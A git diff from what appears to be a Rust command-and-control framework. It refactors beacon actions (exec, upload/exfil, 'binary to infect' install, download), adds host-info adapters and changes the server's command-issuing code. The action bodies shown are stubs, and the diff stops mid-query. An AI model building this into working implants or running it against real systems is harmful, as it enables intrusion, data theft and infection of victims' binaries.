diff --git a/Cargo.lock b/Cargo.lock index 84a60c1..f4668f0 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -990,6 +990,30 @@ dependencies = [ "cfg-if", ] +[[package]] +name = "enum_delegate" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8ea75f31022cba043afe037940d73684327e915f88f62478e778c3de914cd0a" +dependencies = [ + "enum_delegate_lib", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "enum_delegate_lib" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e1f6c3800b304a6be0012039e2a45a322a093539c45ab818d9e6895a39c90fe" +dependencies = [ + "proc-macro2", + "quote", + "rand 0.8.5", + "syn 1.0.109", +] + [[package]] name = "equivalent" version = "1.0.2" @@ -3453,15 +3477,30 @@ dependencies = [ name = "sparse-actions" version = "2.0.0" dependencies = [ + "async-trait", "bindgen", "chrono", + "enum_delegate", + "http", + "hyper", + "hyper-util", + "leptos", + "pcap-sys", + "rmp-serde", + "rustls", "serde", "serde_bytes", + "serde_json", + "smoltcp", + "sqlx", + "thiserror 2.0.11", + "tokio", + "uuid", ] [[package]] name = "sparse-beacon" -version = "0.7.0" +version = "2.0.0" dependencies = [ "async-trait", "bytes", @@ -3515,7 +3554,7 @@ dependencies = [ [[package]] name = "sparse-server" -version = "0.1.0" +version = "2.0.0" dependencies = [ "anyhow", "axum", @@ -4565,6 +4604,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "93d59ca99a559661b96bf898d8fce28ed87935fd2bea9f05983c1464dd6c71b1" dependencies = [ "getrandom 0.3.1", + "serde", ] [[package]] diff --git a/sparse-actions/Cargo.toml b/sparse-actions/Cargo.toml index f009571..e52439f 100644 --- a/sparse-actions/Cargo.toml +++ b/sparse-actions/Cargo.toml @@ -7,6 +7,27 @@ version.workspace = true chrono = { version = "0.4.39", features = ["serde"] } serde = { version = "1.0.218", features = ["derive"] } serde_bytes = "0.11.15" +uuid = { version = "1.14.0", features = ["serde"] } +enum_delegate = "0.2.0" +async-trait = "0.1.86" +serde_json = "1.0.139" + +leptos = { version = "0.7.7", optional = true } +thiserror = { version = "2.0.11", optional = true } +pcap-sys = { path = "../pcap-sys", optional = true } +tokio = { version = "1.43.0", features = ["fs", "io-std", "io-util", "net", "process", "rt", "sync", "time", "tokio-macros"], optional = true } +smoltcp = { version = "0.12.0", default-features = false, features = ["proto-ipv4", "socket", "socket-tcp", "medium-ethernet", "std"], optional = true } +http = { version = "1.2.0", optional = true } +rmp-serde = { version = "1.3.0", optional = true } +hyper-util = { version = "0.1.10", features = ["client", "client-legacy", "http1", "http2", "service", "tokio"], optional = true } +hyper = { version = "1.6.0", features = ["client", "http1", "http2"], optional = true } +rustls = { version = "0.23.23", default-features = false, features = ["std"], optional = true } +sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite", "uuid"], optional = true } [build-dependencies] bindgen = "0.69" + +[features] +beacon = ["dep:thiserror", "dep:pcap-sys", "dep:tokio", "dep:smoltcp", "dep:http", "dep:hyper-util", "dep:rustls", "dep:hyper", "dep:rmp-serde", "uuid/v4"] +server-ssr = ["uuid/v4", "dep:sqlx"] +server = ["dep:leptos"] diff --git a/sparse-actions/src/actions.rs b/sparse-actions/src/actions.rs index ab03d65..f4aa41b 100644 --- a/sparse-actions/src/actions.rs +++ b/sparse-actions/src/actions.rs @@ -1 +1,98 @@ -pub trait Action {} +#[cfg(feature = "server")] +use leptos::prelude::*; +use serde::{Deserialize, Serialize}; + +use crate::version::Version; + +mod ls; +mod update; +mod exec; +mod upload; +mod install; +mod download; + +#[derive(Serialize, Deserialize)] +pub struct FileId(pub uuid::Uuid); + +/// Macro used to enforce the invariant that struct names are used to identify +/// the enum branch as well +macro_rules! define_actions_enum { + ($(($mod:ident, $act:ident)),+) => { + #[derive(::serde::Serialize, ::serde::Deserialize)] + #[serde(tag = "cmd_type")] + pub enum Actions { + $($act($mod::$act)),+, + } + } +} + +define_actions_enum! { + (ls, Ls), + (update, Update), + (exec, Exec), + (upload, Upload), + (install, Install), + (download, Download) +} + +pub const ACTION_BUILDERS: &'static [&'static (dyn ActionBuilder + Send + Sync)] = &[ + &ActionBuilderImpl::::new(), + &ActionBuilderImpl::::new(), + &ActionBuilderImpl::::new(), + &ActionBuilderImpl::::new(), + &ActionBuilderImpl::::new(), + &ActionBuilderImpl::::new(), +]; + +#[async_trait::async_trait] +pub trait Action: Serialize + for<'a> Deserialize<'a> { + const REQ_VERSION: Version; + const REQ_OS: Option<&'static str>; + const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)]; + + type ActionData: Serialize + for<'a> Deserialize<'a>; + + #[cfg(feature = "beacon")] + async fn execute(&self) -> Self::ActionData; + + #[cfg(feature = "server")] + fn render_data(&self, data: Self::ActionData) -> impl IntoView; +} + +pub trait ActionBuilder { + fn name(&self) -> &'static str; + fn required_version(&self) -> Version; + fn required_os(&self) -> Option<&'static str>; + fn form_elements(&self) -> &'static [(&'static str, &'static str, Option<&'static str>)]; + fn verify_json_body(&self, body: serde_json::Value) -> Result<(), serde_json::Error>; +} + +pub struct ActionBuilderImpl(std::marker::PhantomData); + +impl ActionBuilderImpl { + pub const fn new() -> Self { + Self(std::marker::PhantomData) + } +} + +impl ActionBuilder for ActionBuilderImpl +where + T: Action +{ + fn name(&self) -> &'static str { + let tname = std::any::type_name::(); + tname.split(":").last().unwrap() + } + fn required_version(&self) -> Version { + T::REQ_VERSION + } + fn required_os(&self) -> Option<&'static str> { + T::REQ_OS + } + fn form_elements(&self) -> &'static [(&'static str, &'static str, Option<&'static str>)] { + T::REQ_FIELDS + } + fn verify_json_body(&self, body: serde_json::Value) -> Result<(), serde_json::Error> { + serde_json::from_value::(body).map(|_| ()) + } +} diff --git a/sparse-actions/src/actions/download.rs b/sparse-actions/src/actions/download.rs new file mode 100644 index 0000000..8d65243 --- /dev/null +++ b/sparse-actions/src/actions/download.rs @@ -0,0 +1,35 @@ +#[cfg(feature = "server")] +use leptos::prelude::*; +use serde::{Deserialize, Serialize}; + +use crate::version::Version; + +#[derive(Serialize, Deserialize)] +pub struct Download { + download_src: super::FileId, + download_path: String, +} + +#[async_trait::async_trait] +impl super::Action for Download { + const REQ_VERSION: Version = Version::new(2, 0); + const REQ_OS: Option<&'static str> = None; + const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[ + ("File path to download/place", "download_path", None), + ("File to download", "download_src", Some("file")), + ]; + + type ActionData = (); + + #[cfg(feature = "beacon")] + async fn execute(&self) -> Self::ActionData { + "Hi".to_string(); + } + + #[cfg(feature = "server")] + fn render_data(&self, _data: Self::ActionData) -> impl IntoView { + view! { + "ls ran" + } + } +} diff --git a/sparse-actions/src/actions/exec.rs b/sparse-actions/src/actions/exec.rs new file mode 100644 index 0000000..f8f673f --- /dev/null +++ b/sparse-actions/src/actions/exec.rs @@ -0,0 +1,33 @@ +#[cfg(feature = "server")] +use leptos::prelude::*; +use serde::{Deserialize, Serialize}; + +use crate::version::Version; + +#[derive(Serialize, Deserialize)] +pub struct Exec { + exec_cmd: String +} + +#[async_trait::async_trait] +impl super::Action for Exec { + const REQ_VERSION: Version = Version::new(2, 0); + const REQ_OS: Option<&'static str> = None; + const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[ + ("Command to execute", "exec_cmd", None) + ]; + + type ActionData = String; + + #[cfg(feature = "beacon")] + async fn execute(&self) -> Self::ActionData { + "Execute".to_string() + } + + #[cfg(feature = "server")] + fn render_data(&self, _data: Self::ActionData) -> impl IntoView { + view! { + "execute command" + } + } +} diff --git a/sparse-actions/src/actions/install.rs b/sparse-actions/src/actions/install.rs new file mode 100644 index 0000000..251b667 --- /dev/null +++ b/sparse-actions/src/actions/install.rs @@ -0,0 +1,33 @@ +#[cfg(feature = "server")] +use leptos::prelude::*; +use serde::{Deserialize, Serialize}; + +use crate::version::Version; + +#[derive(Serialize, Deserialize)] +pub struct Install { + install_target: std::path::PathBuf +} + +#[async_trait::async_trait] +impl super::Action for Install { + const REQ_VERSION: Version = Version::new(2, 0); + const REQ_OS: Option<&'static str> = None; + const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[ + ("Binary to infect", "install_target", None) + ]; + + type ActionData = (); + + #[cfg(feature = "beacon")] + async fn execute(&self) -> Self::ActionData { + "Hi".to_string(); + } + + #[cfg(feature = "server")] + fn render_data(&self, _data: Self::ActionData) -> impl IntoView { + view! { + "ls ran" + } + } +} diff --git a/sparse-actions/src/actions/ls.rs b/sparse-actions/src/actions/ls.rs new file mode 100644 index 0000000..d6502ac --- /dev/null +++ b/sparse-actions/src/actions/ls.rs @@ -0,0 +1,29 @@ +#[cfg(feature = "server")] +use leptos::prelude::*; +use serde::{Deserialize, Serialize}; + +use crate::version::Version; + +#[derive(Serialize, Deserialize)] +pub struct Ls; + +#[async_trait::async_trait] +impl super::Action for Ls { + const REQ_VERSION: Version = Version::new(2, 0); + const REQ_OS: Option<&'static str> = None; + const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[]; + + type ActionData = (); + + #[cfg(feature = "beacon")] + async fn execute(&self) -> Self::ActionData { + "Hi".to_string(); + } + + #[cfg(feature = "server")] + fn render_data(&self, _data: Self::ActionData) -> impl IntoView { + view! { + "ls ran" + } + } +} diff --git a/sparse-actions/src/actions/update.rs b/sparse-actions/src/actions/update.rs new file mode 100644 index 0000000..3250194 --- /dev/null +++ b/sparse-actions/src/actions/update.rs @@ -0,0 +1,29 @@ +#[cfg(feature = "server")] +use leptos::prelude::*; +use serde::{Deserialize, Serialize}; + +use crate::version::Version; + +#[derive(Serialize, Deserialize)] +pub struct Update; + +#[async_trait::async_trait] +impl super::Action for Update { + const REQ_VERSION: Version = Version::new(2, 0); + const REQ_OS: Option<&'static str> = None; + const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[]; + + type ActionData = (); + + #[cfg(feature = "beacon")] + async fn execute(&self) -> Self::ActionData { + "Hello".to_string(); + } + + #[cfg(feature = "server")] + fn render_data(&self, _data: Self::ActionData) -> impl IntoView { + view! { + "update ran" + } + } +} diff --git a/sparse-actions/src/actions/upload.rs b/sparse-actions/src/actions/upload.rs new file mode 100644 index 0000000..721a21c --- /dev/null +++ b/sparse-actions/src/actions/upload.rs @@ -0,0 +1,33 @@ +#[cfg(feature = "server")] +use leptos::prelude::*; +use serde::{Deserialize, Serialize}; + +use crate::version::Version; + +#[derive(Serialize, Deserialize)] +pub struct Upload { + upload_src: String +} + +#[async_trait::async_trait] +impl super::Action for Upload { + const REQ_VERSION: Version = Version::new(2, 0); + const REQ_OS: Option<&'static str> = None; + const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[ + ("File path to upload/exfil", "upload_src", None) + ]; + + type ActionData = (); + + #[cfg(feature = "beacon")] + async fn execute(&self) -> Self::ActionData { + "Hi".to_string(); + } + + #[cfg(feature = "server")] + fn render_data(&self, _data: Self::ActionData) -> impl IntoView { + view! { + "ls ran" + } + } +} diff --git a/sparse-actions/src/adapter.rs b/sparse-actions/src/adapter.rs new file mode 100644 index 0000000..6a56a42 --- /dev/null +++ b/sparse-actions/src/adapter.rs @@ -0,0 +1,38 @@ +use std::net::Ipv4Addr; + +use crate::error; + +#[derive(Debug)] +pub struct BeaconRoute { + pub network: (Ipv4Addr, u8), + pub gateway: (Ipv4Addr, u8), + pub interface_index: usize, +} + +#[derive(Debug)] +pub struct BeaconNetworkingInfo { + pub routes: Vec, + pub interfaces: Vec, +} + +#[derive(Debug)] +pub struct BeaconInterface { + pub name: Vec, + pub mtu: u16, + pub mac_addr: [u8; 6], +} + +#[async_trait::async_trait] +pub trait BeaconAdapter { + type Error: error::AdapterError + Send + Sync; + + const OPERATING_SYSTEM: &'static str; + + fn interface_name_from_interface(interface: &BeaconInterface) -> Vec; + + fn networking_info(&self) -> Result>; + + async fn get_username(&self) -> Result>; + + async fn get_hostname(&self) -> Result>; +} diff --git a/sparse-actions/src/error.rs b/sparse-actions/src/error.rs new file mode 100644 index 0000000..ccb3114 --- /dev/null +++ b/sparse-actions/src/error.rs @@ -0,0 +1,40 @@ +use thiserror::Error; + +pub trait AdapterError: std::error::Error {} + +#[derive(Error, Debug)] +pub enum BeaconError +where + T: AdapterError, +{ + #[error("io error")] + Io(#[from] std::io::Error), + #[error("pcap error")] + Pcap(#[from] pcap_sys::error::Error), + #[error("utf8 decoding error")] + Utf8(#[from] std::str::Utf8Error), + #[error("task join error")] + Join(#[from] tokio::task::JoinError), + #[error("could not find default route")] + NoDefaultRoute, + #[error("connection error")] + Connect(#[from] smoltcp::socket::tcp::ConnectError), + #[error("http comms error")] + Http(#[from] http::Error), + #[error("uri parse error")] + InvalidUri(#[from] http::uri::InvalidUri), + #[error("hyper http error")] + HyperError(#[from] hyper_util::client::legacy::Error), + #[error("rustls")] + Rustls(#[from] rustls::Error), + #[error("adapter error")] + Adapter(#[from] T), + #[error("http error from server")] + SparseServerHttpError(http::StatusCode), + #[error("message pack encode error")] + RmpSerdeEncode(#[from] rmp_serde::encode::Error), + #[error("message pack decode error")] + RmpSerdeDecode(#[from] rmp_serde::decode::Error), + #[error("http error")] + Hyper(#[from] hyper::Error), +} diff --git a/sparse-actions/src/lib.rs b/sparse-actions/src/lib.rs index be8f8d9..4c2aeaf 100644 --- a/sparse-actions/src/lib.rs +++ b/sparse-actions/src/lib.rs @@ -5,4 +5,9 @@ pub mod payload_types { } pub mod actions; +#[cfg(feature = "beacon")] +pub mod adapter; +#[cfg(feature = "beacon")] +pub mod error; pub mod messages; +pub mod version; diff --git a/sparse-actions/src/main.rs b/sparse-actions/src/main.rs new file mode 100644 index 0000000..33cf1b6 --- /dev/null +++ b/sparse-actions/src/main.rs @@ -0,0 +1,7 @@ +use sparse_actions::actions::ActionBuilder; + +fn main() { + for b in sparse_actions::actions::ACTION_BUILDERS { + println!("{}", b.name()); + } +} diff --git a/sparse-actions/src/version.rs b/sparse-actions/src/version.rs new file mode 100644 index 0000000..dbff59d --- /dev/null +++ b/sparse-actions/src/version.rs @@ -0,0 +1,64 @@ +use std::{ + cmp::{Ord, Ordering, PartialOrd}, + fmt::{self, Display}, +}; + +use serde::{Deserialize, Serialize}; + +#[derive(PartialEq, Eq, Clone, Copy, Serialize, Deserialize)] +#[repr(transparent)] +#[cfg_attr(feature = "server-ssr", derive(sqlx::Type))] +#[cfg_attr(feature = "server-ssr", sqlx(transparent))] +pub struct Version(u16); + +impl Version { + pub const fn new(maj: u8, min: u8) -> Self { + Self(((maj as u16) << 8u16) | (min as u16)) + } + + pub const fn major(&self) -> u8 { + (self.0 >> 8) as u8 + } + + pub const fn minor(&self) -> u8 { + (self.0 & 0xFF) as u8 + } +} + +impl PartialOrd for Version { + fn partial_cmp(&self, other: &Self) -> Option { + Some(self.cmp(other)) + } +} + +impl Ord for Version { + fn cmp(&self, other: &Self) -> Ordering { + if self.major() == other.major() { + self.minor().cmp(&other.minor()) + } else { + self.major().cmp(&other.major()) + } + } +} + +impl fmt::Debug for Version { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "Version({}.{})", self.major(), self.minor()) + } +} + +impl Display for Version { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "{}.{}", self.major(), self.minor()) + } +} + +/*#[cfg(feature = "server-ssr")] +impl<'r> sqlx::Decode<'r, sqlx::Sqlite> for Version { + fn decode( + value: sqlx::Sqlite::ValueRef<'r>, + ) -> Result> { + let value = >::decode(value)?; + Ok(Self(value)) + } +}*/ diff --git a/sparse-beacon/Cargo.toml b/sparse-beacon/Cargo.toml index c2b765c..a10a260 100644 --- a/sparse-beacon/Cargo.toml +++ b/sparse-beacon/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "sparse-beacon" -version = "0.7.0" +version.workspace = true edition = "2021" publish = false @@ -29,9 +29,9 @@ http-body = "1.0.1" rmp-serde = "1.3.0" cron = "0.13.0" -pcap-sys = { version = "0.1.0", path = "../pcap-sys" } -sparse-actions = { version = "2.0.0", path = "../sparse-actions" } -packets = { version = "0.1.0", path = "../packets" } +pcap-sys = { path = "../pcap-sys" } +sparse-actions = { path = "../sparse-actions", features = ["beacon"] } +packets = { path = "../packets" } [features] openssl = ["dep:rustls-openssl"] diff --git a/sparse-beacon/src/callback.rs b/sparse-beacon/src/callback.rs index 495d114..0c21b83 100644 --- a/sparse-beacon/src/callback.rs +++ b/sparse-beacon/src/callback.rs @@ -12,13 +12,13 @@ use hyper_util::{ use rustls::RootCertStore; use tower_service::Service; -use sparse_actions::payload_types::Parameters; - -use crate::{ +use sparse_actions::{ adapter, error, - tcp::{self, setup_network}, + payload_types::Parameters }; +use crate::tcp::{self, setup_network}; + #[derive(Clone)] pub struct ServerConnector where diff --git a/sparse-beacon/src/lib.rs b/sparse-beacon/src/lib.rs index 535bccc..14608b7 100644 --- a/sparse-beacon/src/lib.rs +++ b/sparse-beacon/src/lib.rs @@ -3,17 +3,13 @@ use sparse_actions::payload_types::Parameters; use http_body_util::{BodyExt, Full}; use hyper::{Request, Method}; -use sparse_actions::messages; +use sparse_actions::{adapter, error::BeaconError, messages}; mod callback; mod socket; mod tcp; mod params; -pub mod adapter; -pub mod error; -pub use error::BeaconError; - pub fn install_rustls() { #[cfg(feature = "openssl")] let _ = rustls_openssl::default_provider().install_default(); @@ -63,7 +59,7 @@ where let hostname = host_adapter.get_hostname().await.unwrap_or("(unknown)".to_string()); let userent = host_adapter.get_username().await.unwrap_or("(unknown)".to_string()); - let mut config: messages::BeaconConfig = { + let _config: messages::BeaconConfig = { let client = callback::obtain_https_client(&host_adapter, ¶ms).await?; make_request( @@ -83,15 +79,15 @@ where loop { // let client = callback::obtain_https_client(&host_adapter, ¶ms).await?; - use messages::RuntimeConfig as RC; - let target_wake_time = match &config.runtime_config { - RC::Oneshot => { break; }, - RC::Random { interval_min, interval_max } => {}, - RC::Regular { interval } => {}, - RC::Cron { schedule, timezone } => { + //use messages::RuntimeConfig as RC; + //let target_wake_time = match &config.runtime_config { + // RC::Oneshot => { break; }, + // RC::Random { interval_min, interval_max } => {}, + // RC::Regular { interval } => {}, + // RC::Cron { schedule, timezone } => { - } - }; + // } + //}; } // for _ in 1..5 { @@ -106,6 +102,4 @@ where // let body = body.collect().await; // println!("{:?}", body); // } - - Ok(()) } diff --git a/sparse-beacon/src/params.rs b/sparse-beacon/src/params.rs index 7d1f264..7465dd3 100644 --- a/sparse-beacon/src/params.rs +++ b/sparse-beacon/src/params.rs @@ -1,7 +1,4 @@ -use sparse_actions::payload_types::Parameters; - -use crate::adapter::BeaconAdapter; -use crate::error::BeaconError; +use sparse_actions::{adapter::BeaconAdapter, error::BeaconError, payload_types::Parameters}; pub fn domain_name<'a, T>(params: &'a Parameters) -> Result<&'a str, BeaconError> where diff --git a/sparse-beacon/src/socket.rs b/sparse-beacon/src/socket.rs index ec3c279..240c84b 100644 --- a/sparse-beacon/src/socket.rs +++ b/sparse-beacon/src/socket.rs @@ -2,7 +2,7 @@ use smoltcp::phy::{self, Device, DeviceCapabilities, Medium}; use pcap_sys::Interface; -use crate::{adapter, error}; +use sparse_actions::{adapter, error}; struct SocketInner { lower: Interface, diff --git a/sparse-beacon/src/tcp.rs b/sparse-beacon/src/tcp.rs index 60ff625..1c43534 100644 --- a/sparse-beacon/src/tcp.rs +++ b/sparse-beacon/src/tcp.rs @@ -18,9 +18,10 @@ use tokio::{ task::{spawn_blocking, JoinHandle}, }; -use sparse_actions::payload_types::Parameters; - -use crate::{adapter, error}; +use sparse_actions::{ + adapter, error, + payload_types::Parameters +}; pub struct NetInterfaceHandle { net: Arc, crate::socket::RawSocket, Interface)>>, diff --git a/sparse-handler/Cargo.toml b/sparse-handler/Cargo.toml index c657061..c97a15c 100644 --- a/sparse-handler/Cargo.toml +++ b/sparse-handler/Cargo.toml @@ -18,5 +18,6 @@ rustls = { version = "0.23", default-features = false, features = ["ring", "std" rcgen = { version = "0.13.2", features = ["pem", "x509-parser", "crypto"] } rustls-pki-types = "1.11.0" axum-msgpack = "0.4.0" -sparse-actions = { version = "2.0.0", path = "../sparse-actions" } chrono = { version = "0.4.39", features = ["serde"] } + +sparse-actions = { path = "../sparse-actions" } diff --git a/sparse-server/Cargo.toml b/sparse-server/Cargo.toml index 525a98a..81e7a1b 100644 --- a/sparse-server/Cargo.toml +++ b/sparse-server/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "sparse-server" -version = "0.1.0" +version.workspace = true edition = "2021" [lib] @@ -51,7 +51,7 @@ server_fn = { version = "0.7.7", features = ["multipart"] } multer = { version = "3.1.0", optional = true } uuid = { version = "1.14.0", features = ["v4"], optional = true } -sparse-actions = { path = "../sparse-actions", optional = true } +sparse-actions = { path = "../sparse-actions", features = ["server"] } sparse-handler = { path = "../sparse-handler", optional = true } [features] @@ -79,14 +79,14 @@ ssr = [ "dep:cron", "dep:sparse-handler", "dep:rustls-pki-types", - "dep:sparse-actions", "dep:rand", "dep:multer", "dep:uuid", "leptos/ssr", "leptos_meta/ssr", "leptos_router/ssr", - "leptos-use/ssr" + "leptos-use/ssr", + "sparse-actions/server-ssr" ] [package.metadata.leptos] diff --git a/sparse-server/migrations/20250223184639_beacon_version.sql b/sparse-server/migrations/20250223184639_beacon_version.sql new file mode 100644 index 0000000..241910c --- /dev/null +++ b/sparse-server/migrations/20250223184639_beacon_version.sql @@ -0,0 +1,3 @@ +-- Add migration script here + +ALTER TABLE beacon_instance ADD COLUMN version int NOT NULL DEFAULT 512; diff --git a/sparse-server/migrations/20250223215600_commands_v2.sql b/sparse-server/migrations/20250223215600_commands_v2.sql new file mode 100644 index 0000000..a41712b --- /dev/null +++ b/sparse-server/migrations/20250223215600_commands_v2.sql @@ -0,0 +1,27 @@ +-- Add migration script here +DROP TABLE beacon_command_invocation; +DROP TABLE beacon_command; + +CREATE TABLE beacon_command ( + command_id integer PRIMARY KEY AUTOINCREMENT NOT NULL, + + cmd_parameters varchar NOT NULL +); + +CREATE TABLE beacon_command_invocation ( + beacon_id varchar NOT NULL, + command_id int NOT NULL, + + issue_date int NOT NULL, + + invoker_id int NOT NULL, + + invocation_date int, + invocation_result varchar, + + PRIMARY KEY (beacon_id, command_id), + + FOREIGN KEY (command_id) REFERENCES beacon_command, + FOREIGN KEY (beacon_id) REFERENCES beacon_instance, + FOREIGN KEY (invoker_id) REFERENCES users +); diff --git a/sparse-server/src/beacons/commands.rs b/sparse-server/src/beacons/commands.rs index 818f823..4cfe305 100644 --- a/sparse-server/src/beacons/commands.rs +++ b/sparse-server/src/beacons/commands.rs @@ -1,66 +1,17 @@ use leptos::{either::Either, prelude::*}; -use serde::{Deserialize, Serialize}; use leptos::server_fn::codec::{MultipartData, MultipartFormData}; use web_sys::FormData; use send_wrapper::SendWrapper; #[cfg(feature = "ssr")] use { + sparse_actions::version::Version, leptos::server_fn::error::NoCustomError, - sqlx::{sqlite::SqliteRow, FromRow, Row}, tokio::io::AsyncWriteExt, }; use crate::beacons::{BeaconResources, categories::Category}; -#[derive(Clone, Serialize, Deserialize)] -pub enum CommandBody { - Update, - Exec { command: String }, - Install { target_binary: String }, - Upload { target_file: String }, - Download { src_file: String, target_path: String }, - Chdir { target_dir: String }, - Ls -} - -#[cfg(feature = "ssr")] -impl FromRow<'_, SqliteRow> for CommandBody { - fn from_row(row: &SqliteRow) -> sqlx::Result { - match row.try_get("cmd_type")? { - "update" => Ok(Self::Update), - "exec" => Ok(Self::Exec { - command: row.try_get("exec_command")? - }), - "install" => Ok(Self::Install { - target_binary: row.try_get("install_target")? - }), - "upload" => Ok(Self::Upload { - target_file: row.try_get("upload_src")? - }), - "download" => Ok(Self::Download { - src_file: row.try_get("download_src")?, - target_path: row.try_get("download_path")? - }), - "chdir" => Ok(Self::Chdir { - target_dir: row.try_get("chdir_target")? - }), - "ls" => Ok(Self::Ls), - type_name => Err(sqlx::Error::TypeNotFound { - type_name: type_name.to_string() - }) - } - } -} - -#[cfg_attr(feature = "ssr", derive(FromRow))] -#[derive(Clone, Serialize, Deserialize)] -pub struct BeaconCommand { - pub command_id: i64, - #[cfg_attr(feature = "ssr", sqlx(flatten))] - pub body: CommandBody -} - #[server( prefix = "/api/commands", endpoint = "issue_command", @@ -75,138 +26,19 @@ pub async fn issue_command( )); }; - let mut fields = std::collections::HashMap::::new(); - let mut download_src = None::; + let mut fields = serde_json::Map::new(); + let db = crate::db::get_db()?; let mut data = data.into_inner().ok_or(ServerFnError::::ServerError( "No form data was provided".to_owned(), ))?; - while let Ok(Some(field)) = data.next_field().await { - let name = field.name().unwrap_or_default().to_string(); - tracing::trace!("Found field {}", &name); - if name != "download_src" { - fields.insert(name.clone(), field.text().await.unwrap_or_default()); - } else { - download_src = Some(field); - } - } + while let Ok(Some(mut field)) = data.next_field().await { + tracing::debug!("Processing field {:?}", field.name()); + let Some(name) = field.name().map(|f| f.to_string()) else { continue; }; - enum Target { - Beacon(String), - Category(i64) - } + let file_name = field.file_name().map(str::to_string); - let Some(target_beacons) = fields - .get("beacon_id") - .map(Clone::clone) - .map(Target::Beacon) - .or(fields - .get("category_id") - .map(|id| id.parse::().ok()) - .flatten() - .map(Target::Category)) else { - return Err(ServerFnError::::ServerError( - "A beacon command cannot be made without a target".to_owned(), - )); - }; - - let db = crate::db::get_db()?; - - let command_id = match fields.get("cmd_type").map(Clone::clone).as_deref() { - Some("update") => { - Ok(sqlx::query!( - "INSERT INTO beacon_command (cmd_type) VALUES ('update')" - ) - .execute(&db) - .await? - .last_insert_rowid()) - } - Some("ls") => { - Ok(sqlx::query!( - "INSERT INTO beacon_command (cmd_type) VALUES ('ls')" - ) - .execute(&db) - .await? - .last_insert_rowid()) - } - Some("chdir") => { - let chdir_target = fields - .get("chdir_target") - .filter(|s| !s.is_empty()) - .ok_or(ServerFnError::::ServerError( - "Directory target cannot be empty".to_owned(), - ))?; - - Ok(sqlx::query!( - "INSERT INTO beacon_command (cmd_type, chdir_target) VALUES ('chdir', ?)", - chdir_target - ) - .execute(&db) - .await? - .last_insert_rowid()) - } - Some("exec") => { - let exec_command = fields - .get("exec_command") - .filter(|s| !s.is_empty()) - .ok_or(ServerFnError::::ServerError( - "Command cannot be empty".to_owned(), - ))?; - - Ok(sqlx::query!( - "INSERT INTO beacon_command (cmd_type, exec_command) VALUES ('exec', ?)", - exec_command - ) - .execute(&db) - .await? - .last_insert_rowid()) - } - Some("install") => { - let install_target = fields - .get("install_target") - .filter(|s| !s.is_empty()) - .ok_or(ServerFnError::::ServerError( - "Install target cannot be empty".to_owned(), - ))?; - - Ok(sqlx::query!( - "INSERT INTO beacon_command (cmd_type, install_target) VALUES ('install', ?)", - install_target - ) - .execute(&db) - .await? - .last_insert_rowid()) - } - Some("upload") => { - let upload_src = fields - .get("upload_src") - .filter(|s| !s.is_empty()) - .ok_or(ServerFnError::::ServerError( - "Upload file request path cannot be empty".to_owned(), - ))?; - - Ok(sqlx::query!( - "INSERT INTO beacon_command (cmd_type, upload_src) VALUES ('upload', ?)", - upload_src - ) - .execute(&db) - .await? - .last_insert_rowid()) - } - Some("download") => { - let download_path = fields - .get("download_path") - .filter(|s| !s.is_empty()) - .ok_or(ServerFnError::::ServerError( - "Upload file request path cannot be empty".to_owned(), - ))?; - - let mut download_src = download_src - .ok_or(ServerFnError::::ServerError( - "File to upload cannot be empty".to_owned(), - ))?; - - let file_name = download_src.file_name().unwrap_or_default().to_string(); + if let Some(file_name) = file_name { let file_id = uuid::Uuid::new_v4(); let mut target_file_path = expect_context::(); @@ -220,7 +52,7 @@ pub async fn issue_command( .open(target_file_path) .await?; - while let Ok(Some(chunk)) = download_src.chunk().await { + while let Ok(Some(chunk)) = field.chunk().await { target_file.write(&chunk).await?; } @@ -232,24 +64,83 @@ pub async fn issue_command( .execute(&db) .await?; - Ok(sqlx::query!( - "INSERT INTO beacon_command (cmd_type, download_src, download_path) VALUES ('download', ?, ?)", - file_id, - download_path - ) - .execute(&db) - .await? - .last_insert_rowid()) + fields.insert(name, serde_json::to_value(sparse_actions::actions::FileId(file_id))?); + } else { + let Ok(value) = field.text().await else { continue; }; + let json = match serde_json::from_str(&value) { + Ok(v) => v, + Err(_) => serde_json::Value::String(value.clone()) + }; + fields.insert(name, json); } - _ => Err(ServerFnError::::ServerError( - "Unknown command type".to_owned(), - )) - }?; + } + + enum Target { + Beacon(String), + Category(i64) + } + + tracing::debug!("Parameters provided: {:?}", serde_json::to_string(&fields)); + + let Some(target_beacons) = fields + .get("target_beacon_id") + .and_then(serde_json::Value::as_str) + .map(str::to_string) + .map(Target::Beacon) + .or(fields + .get("target_category_id") + .and_then(serde_json::Value::as_i64) + .map(Target::Category)) else { + return Err(ServerFnError::::ServerError( + "A beacon command cannot be made without a target".to_owned(), + )); + }; + + fields.remove("target_beacon_id"); + fields.remove("target_category_id"); + + let Some(command_builder) = sparse_actions::actions::ACTION_BUILDERS + .iter() + .find(|builder| Some(builder.name()) == fields.get("cmd_type").and_then(serde_json::Value::as_str)) else { + return Err(ServerFnError::::ServerError( + "No command type provided".to_owned(), + )); + }; + + let fields = serde_json::Value::Object(fields); + + command_builder.verify_json_body(fields.clone())?; + serde_json::from_value::(fields.clone())?; + + let serialized_fields = serde_json::to_string(&fields)?; + + let command_id = sqlx::query!( + "INSERT INTO beacon_command (cmd_parameters) VALUES (?)", + serialized_fields + ) + .execute(&db) + .await? + .last_insert_rowid(); let now = chrono::Utc::now(); match target_beacons { Target::Beacon(bid) => { + let beacon_instance = sqlx::query!( + 